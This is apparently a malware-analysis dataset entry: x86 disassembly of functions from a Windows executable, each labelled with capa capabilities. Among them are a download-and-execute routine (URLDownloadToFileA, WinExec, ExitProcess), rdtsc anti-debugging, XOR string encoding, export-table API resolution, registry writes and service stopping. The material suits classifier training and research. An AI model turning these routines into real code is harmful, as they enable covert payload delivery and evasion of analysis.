joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4038e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403a06
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x413a94]
mov ecx, dword [eax + 0x3c]
add ecx, dword [0x413a94]
mov eax, dword [ecx + 0x78]
xor edx, edx
push edx
push eax
mov eax, dword [0x413a94]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x20]
xor edx, edx
push edx
push eax
mov eax, dword [0x413a94]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, ebx
shl eax, 2
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov eax, dword [eax]
xor edx, edx
push edx
push eax
mov eax, dword [0x413a94]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, edi
call fcn.004027b0
mov eax, dword [ebp - 0xc]
call fcn.00402864
mov edx, eax
mov eax, edi
call fcn.00403834
cmp eax, dword [ebp - 4]
jne 0x4039dd
mov eax, ebx
add eax, eax
add eax, dword [esi + 0x24]
xor edx, edx
push edx
push eax
mov eax, dword [0x413a94]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ax, word [eax]
and ax, 0xffff
movzx eax, ax
shl eax, 2
add eax, dword [esi + 0x1c]
xor edx, edx
push edx
push eax
mov eax, dword [0x413a94]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov eax, dword [eax]
add eax, dword [0x413a94]
mov dword [ebp - 8], eax
inc ebx
cmp dword [ebp - 8], 0
jne 0x4039ed
cmp ebx, dword [esi + 0x18]
jne 0x403931
mov ebx, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a0d
lea eax, [ebp - 0xc]
call fcn.004025c4
ret

Function at 0x403e34
Capabilities:
Delete file

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
xor ecx, ecx
mov cl, byte [ebx]
mov edx, esp
lea eax, [ebx + 1]
call fcn.00401368
xor eax, eax
mov al, byte [ebx]
mov byte [esp + eax], 0
mov eax, esp
push eax
call sub.KERNEL32.DLL_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x100
pop ebx
ret

Function at 0x403e6c
Capabilities:
Move file

Disassembly:
push ebx
push esi
add esp, 0xfffffe00
mov esi, edx
mov ebx, eax
xor ecx, ecx
mov cl, byte [ebx]
mov edx, esp
lea eax, [ebx + 1]
call fcn.00401368
xor eax, eax
mov al, byte [ebx]
mov byte [esp + eax], 0
xor ecx, ecx
mov cl, byte [esi]
lea edx, [esp + 0x100]
lea eax, [esi + 1]
call fcn.00401368
xor eax, eax
mov al, byte [esi]
mov byte [esp + eax + 0x100], 0
lea eax, [esp + 0x100]
push eax
lea eax, [esp + 4]
push eax
call sub.KERNEL32.DLL_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x200
pop esi
pop ebx
ret
Function at 0x40449c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00401aa8
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x4129bc]
cmp byte [edx + 8], 0
je 0x404500
mov edx, dword [0x4129b0]
cmp dword [edx], 2
jne 0x404500
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret

Function at 0x404504
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4045b4
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0040449c
test al, al
je 0x404596
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004026b0
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x404596
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004027b0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00403b50
inc esi
dec ebx
jne 0x40454f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4045bb
lea eax, [ebp - 0x2c]
call fcn.004025c4
lea eax, [ebp - 0xc]
call fcn.004025c4
ret

Function at 0x4046ec
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov al, byte [ebp + 8]
dec al
je 0x40470f
dec al
je 0x404716
dec al
je 0x40471d
dec al
je 0x404724
jmp 0x40472b
mov ebx, 1
jmp 0x40472d
mov ebx, 2
jmp 0x40472d
mov ebx, 4
jmp 0x40472d
mov ebx, 3
jmp 0x40472d
xor ebx, ebx
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
push 0
mov eax, edi
call fcn.00402a5c
push eax
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
Function at 0x404bd4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov word [ebp - 2], ax
xor eax, eax
push ebp
push 0x404c9f
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
lea eax, [ebp - 0x10]
call fcn.004025c4
mov si, word [ebp - 2]
dec esi
test si, si
jbe 0x404c2c
mov bx, 1
movzx eax, di
mov edx, dword [ebp - 8]
movzx eax, byte [edx + eax]
xor ax, bx
add di, ax
inc edi
inc ebx
dec si
jne 0x404c15
movzx eax, di
mov edx, dword [ebp - 8]
movzx esi, byte [edx + eax]
xor si, word [ebp - 2]
test si, si
jbe 0x404c79
mov bx, 1
movzx eax, di
movzx edx, bx
add eax, edx
mov edx, dword [ebp - 8]
movzx edx, byte [edx + eax]
movzx eax, bx
movzx ecx, word [ebp - 2]
add eax, ecx
add eax, 4
xor edx, eax
lea eax, [ebp - 0x14]
call fcn.004027a0
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.0040286c
inc ebx
dec si
jne 0x404c43
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00402618
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ca6
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004025e8
ret

Function at 0x404d2c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, edx
test ecx, ecx
js 0x404d42
shr ecx, 2
mov ebx, dword [eax + ecx*4]
dec ecx
push ebx
jns 0x404d3b
mov eax, esp
xor esi, esi
xor ecx, ecx
movzx ebx, cx
movzx ebx, byte [eax + ebx]
lea edi, [esi + 1]
xor bx, di
add cx, bx
inc ecx
inc esi
movzx ebx, cx
lea edi, [edx + 1]
cmp ebx, edi
jne 0x404d48
mov eax, esi
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40540c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4054a2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0x104
call fcn.00401aa8
lea eax, [ebp - 0x108]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
test ax, ax
jbe 0x405489
mov esi, eax
test si, si
jbe 0x405489
lea ebx, [ebp - 0x108]
lea eax, [ebp - 0x10c]
mov dl, byte [ebx]
call fcn.004027a0
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 4]
call fcn.0040286c
mov eax, dword [ebp - 4]
inc ebx
dec si
jne 0x405465
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4054a9
lea eax, [ebp - 0x10c]
call fcn.004025c4
ret
Function at 0x405598
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd54
push ebx
xor ecx, ecx
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402a4c
mov eax, dword [ebp - 8]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x4057d3
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x15c]
call fcn.0040186c
mov eax, dword [0x41296c]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x15c]
call fcn.00401bec
lea eax, [ebp - 0x15c]
call fcn.00401a5c
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00402be4
push 0
lea eax, [ebp - 0x15c]
call fcn.00401a5c
push eax
lea eax, [ebp - 0x10]
call fcn.00402ab0
mov edx, eax
lea eax, [ebp - 0x15c]
pop ecx
call fcn.004019c4
lea eax, [ebp - 0x15c]
call fcn.00401a04
mov edx, dword [ebp - 0x10]
mov eax, dword [0x413d38]
call fcn.00402b9c
test eax, eax
jne 0x40579f
lea eax, [ebp - 0x2ac]
call fcn.0040540c
mov edx, dword [ebp - 0x2ac]
lea eax, [ebp - 0xc]
mov ecx, 0x4057e8
call fcn.004028b0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
push eax
mov eax, dword [ebp - 8]
call fcn.00402a5c
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_CopyFileA
push 0
push ebx
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, dword [ebp - 8]
call fcn.004054b0
mov eax, dword [0x41296c]
mov byte [eax], 2
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x15c]
call fcn.0040186c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x2a8]
call fcn.0040186c
mov edx, 1
lea eax, [ebp - 0x15c]
call fcn.00401bec
call fcn.00401348
test eax, eax
jne 0x40579f
mov edx, 1
lea eax, [ebp - 0x2a8]
call fcn.00401bec
call fcn.00401348
test eax, eax
jne 0x405794
lea eax, [ebp - 0x15c]
call fcn.00401a5c
mov edx, eax
lea eax, [ebp - 0x15c]
call fcn.00401c14
push 0
mov eax, dword [0x413d38]
call fcn.00402864
push eax
mov eax, 0x413d38
call fcn.00402ab0
mov edx, eax
lea eax, [ebp - 0x15c]
pop ecx
call fcn.004019e4
lea eax, [ebp - 0x2a8]
call fcn.00401a5c
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00402be4
push 0
lea eax, [ebp - 0x10]
call fcn.00402ab0
mov edx, eax
mov ecx, ebx
lea eax, [ebp - 0x2a8]
call fcn.004019c4
push 0
lea eax, [ebp - 0x10]
call fcn.00402ab0
mov edx, eax
mov ecx, ebx
lea eax, [ebp - 0x15c]
call fcn.004019e4
lea eax, [ebp - 0x2a8]
call fcn.00401a04
lea eax, [ebp - 0x15c]
call fcn.00401a04
mov eax, dword [ebp - 0xc]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4057da
lea eax, [ebp - 0x2ac]
call fcn.004025c4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004025e8
ret
Function at 0x406c6c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x406ce1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
push ebx
call sub.advapi32.dll_CloseServiceHandle
push esi
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ce8
lea eax, [ebp - 4]
call fcn.004025c4
ret
Function at 0x4084d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, 0x413e4c
xor eax, eax
push ebp
push 0x4085dd
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov ecx, dword [0x413e50]
mov dl, 1
mov eax, dword [0x4073d8]
call fcn.0040744c
mov dword [edi], eax
mov eax, dword [edi]
call fcn.004075b4
jmp 0x40859b
cmp byte [0x41260c], 0
jne 0x4085aa
lea esi, [ebx + 1]
push esi
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x408488]
call fcn.0040331c
add esp, 4
push esi
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x4084ac]
call fcn.0040331c
add esp, 4
mov dl, 1
mov eax, dword [0x40733c]
call fcn.0040775c
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [eax + ebx*4], esi
mov eax, dword [ebp - 8]
mov edx, esi
mov eax, dword [edi]
call fcn.00407608
lea eax, [ebx + ebx*2]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + ebx*4]
mov dword [edx + eax*4 + 8], ecx
lea edx, [ebp - 0xc]
push edx
push 0
mov edx, dword [ebp - 4]
lea eax, [edx + eax*4]
push eax
push 0x40836c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
inc ebx
mov eax, dword [edi]
call fcn.004075d4
test eax, eax
jne 0x408511
mov dl, 1
mov eax, dword [edi]
mov ecx, dword [eax]
call dword [ecx - 4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4085e4
lea eax, [ebp - 8]
mov edx, dword [0x4084ac]
call fcn.00403328
lea eax, [ebp - 4]
mov edx, dword [0x408488]
call fcn.00403328
ret
Function at 0x409438
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [0x41291c]
mov edi, 0x413e7c
xor eax, eax
push ebp
push 0x4094d6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004093e8
mov bx, 0xc8
mov eax, dword [esi]
call fcn.00409240
mov word [edi], ax
movzx eax, word [edi]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [esi]
mov byte [edx + eax - 0x29], 6
mov eax, dword [0x41297c]
push eax
push 0
push 0
push 0x40901c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
movzx edx, word [edi]
lea edx, [edx + edx*4]
lea edx, [edx + edx*8]
mov ecx, dword [esi]
mov dword [ecx + edx - 0x28], eax
dec bx
jne 0x40946e
mov edx, dword [ebp - 4]
mov ax, 0xd6
call fcn.00404cb0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4094dd
lea eax, [ebp - 8]
call fcn.004025c4
ret

Function at 0x4094e4
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [0x41291c]
mov eax, dword [eax]
call fcn.00409240
mov word [0x413e7c], ax
movzx eax, word [0x413e7c]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [0x41291c]
mov edx, dword [edx]
mov byte [edx + eax - 0x29], 3
mov eax, dword [0x41297c]
push eax
push 0
push 0
push 0x406cf0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
movzx edx, word [0x413e7c]
lea edx, [edx + edx*4]
lea edx, [edx + edx*8]
mov ecx, dword [0x41291c]
mov ecx, dword [ecx]
mov dword [ecx + edx - 0x28], eax
mov edx, ebx
mov ax, 0xd1
call fcn.00404cb0
pop ebx
ret

Function at 0x4095f4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [0x41291c]
mov edi, 0x413e7c
xor eax, eax
push ebp
push 0x409692
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004095a4
mov bx, 0xc8
mov eax, dword [esi]
call fcn.00409240
mov word [edi], ax
movzx eax, word [edi]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
mov edx, dword [esi]
mov byte [edx + eax - 0x29], 5
mov eax, dword [0x41297c]
push eax
push 0
push 0
push 0x4096a0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
movzx edx, word [edi]
lea edx, [edx + edx*4]
lea edx, [edx + edx*8]
mov ecx, dword [esi]
mov dword [ecx + edx - 0x28], eax
dec bx
jne 0x40962a
mov edx, dword [ebp - 4]
mov ax, 0xd0
call fcn.00404cb0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409699
lea eax, [ebp - 8]
call fcn.004025c4
ret
Function at 0x4098a0
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], edx
mov word [esp], ax
mov ebp, dword [0x41291c]
mov eax, dword [ebp]
mov di, word [eax + 0x36eec]
test di, di
jbe 0x40998f
mov bx, 1
movzx eax, bx
lea esi, [eax + eax*4]
lea esi, [esi + esi*8]
mov eax, dword [ebp]
movzx eax, byte [eax + esi - 0x29]
cmp ax, word [esp]
jne 0x409985
mov eax, dword [esp + 4]
mov edx, 0x4099ac
call fcn.00402618
cmp dword [esp + 8], 0
je 0x40999c
lea eax, [esp + 8]
push eax
mov eax, dword [ebp]
mov eax, dword [eax + esi - 0x28]
push eax
call sub.KERNEL32.DLL_GetExitCodeThread
mov eax, dword [esp + 8]
push eax
mov eax, dword [ebp]
mov eax, dword [eax + esi - 0x28]
push eax
call sub.KERNEL32.DLL_TerminateThread
test eax, eax
je 0x40993e
mov edx, dword [esp + 4]
mov ax, 0x17
call fcn.00404cb0
mov eax, dword [ebp]
xor edx, edx
mov dword [eax + esi - 0x28], edx
mov eax, dword [ebp]
cmp byte [eax + esi - 0x29], 8
jne 0x40997d
movzx eax, bx
mov edx, dword [0x413e80]
mov eax, dword [edx + eax*4 + 0x458]
mov eax, dword [eax + 0x454]
push eax
mov eax, dword [0x412990]
mov eax, dword [eax]
call eax
movzx eax, bx
mov edx, dword [0x413e80]
mov eax, dword [edx + eax*4 + 0x458]
call fcn.00401fac
mov eax, dword [ebp]
mov byte [eax + esi - 0x29], 0
inc ebx
dec di
jne 0x4098cc
mov edx, dword [esp + 4]
mov ax, 0x17
call fcn.00404cb0
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409ea4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_SetPriorityClass
push 0xf
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_SetThreadPriority
push 0xa
call sub.KERNEL32.DLL_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.KERNEL32.DLL_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_GetThreadPriority
push eax
call sub.KERNEL32.DLL_GetCurrentThread
push eax
call sub.KERNEL32.DLL_SetThreadPriority
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_GetPriorityClass
push eax
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov eax, dword [ebp - 4]
mov ecx, 0x7a120
xor edx, edx
div ecx
pop ecx
pop ecx
pop ebp
ret
Function at 0x40a8f0
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor edx, edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x40aa18
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10c]
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetTempPathA
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.00402828
lea eax, [ebp - 8]
call fcn.00404b34
push 0
push 0
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.004028b0
mov eax, dword [ebp - 0x110]
call fcn.00402a5c
push eax
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [0x4128c4]
xor ecx, ecx
mov edx, 0x44
call fcn.00401aa8
mov ebx, dword [0x412938]
mov ebx, dword [ebx]
call ebx
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
push 0x40aa2c
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x118]
lea eax, [ebp - 0x114]
mov edx, 4
call fcn.00402924
mov eax, dword [ebp - 0x114]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_WinExec
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40aa1f
lea eax, [ebp - 0x118]
mov edx, 3
call fcn.004025e8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004025e8
ret
Function at 0x40aa30
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x53
push 0
push 0
dec ecx
jne 0x40aa38
push ebx
mov ebx, dword [0x41292c]
xor eax, eax
push ebp
push 0x40aca7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x258]
mov ax, 0x4a
call fcn.00404cb0
mov eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x25c]
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.00402828
mov edx, dword [ebp - 0x25c]
lea eax, [ebp - 4]
pop ecx
call fcn.004028b0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.0040186c
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00401c08
call fcn.004012c8
lea edx, [ebp - 0x260]
mov ax, 0x4b
call fcn.00404cb0
push dword [ebp - 0x260]
push dword [ebx]
lea edx, [ebp - 0x264]
mov ax, 0x4c
call fcn.00404cb0
push dword [ebp - 0x264]
push dword [ebx]
lea edx, [ebp - 0x268]
mov ax, 0xdc
call fcn.00404cb0
push dword [ebp - 0x268]
push 0x40acbc
lea edx, [ebp - 0x26c]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x26c]
push dword [ebx]
lea edx, [ebp - 0x270]
mov ax, 0x4d
call fcn.00404cb0
push dword [ebp - 0x270]
lea edx, [ebp - 0x274]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x274]
push 0x40acbc
lea edx, [ebp - 0x278]
mov ax, 0x59
call fcn.00404cb0
push dword [ebp - 0x278]
push dword [ebx]
lea edx, [ebp - 0x27c]
mov ax, 0x4e
call fcn.00404cb0
push dword [ebp - 0x27c]
lea edx, [ebp - 0x280]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x280]
push dword [ebx]
lea edx, [ebp - 0x284]
mov ax, 0x57
call fcn.00404cb0
push dword [ebp - 0x284]
lea edx, [ebp - 0x288]
xor eax, eax
call fcn.00401514
push dword [ebp - 0x288]
push dword [ebx]
lea edx, [ebp - 0x28c]
mov ax, 0xcb
call fcn.00404cb0
push dword [ebp - 0x28c]
push dword [ebx]
lea edx, [ebp - 0x290]
mov ax, 0x58
call fcn.00404cb0
push dword [ebp - 0x290]
push dword [ebx]
lea edx, [ebp - 0x294]
mov ax, 0x4e
call fcn.00404cb0
push dword [ebp - 0x294]
push dword [ebp - 4]
push dword [ebx]
lea edx, [ebp - 0x298]
mov ax, 0x57
call fcn.00404cb0
push dword [ebp - 0x298]
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 0x1c
call fcn.00402924
push 0
mov eax, dword [ebp - 8]
call fcn.00402864
push eax
lea eax, [ebp - 8]
call fcn.00402ab0
mov edx, eax
lea eax, [ebp - 0x154]
pop ecx
call fcn.004019e4
call fcn.004012c8
lea eax, [ebp - 0x154]
call fcn.00401a04
call fcn.004012c8
push 0
mov eax, dword [ebp - 4]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_WinExec
mov ebx, dword [0x412938]
mov ebx, dword [ebx]
call ebx
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40acae
lea eax, [ebp - 0x298]
mov edx, 0x11
call fcn.004025e8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004025e8
ret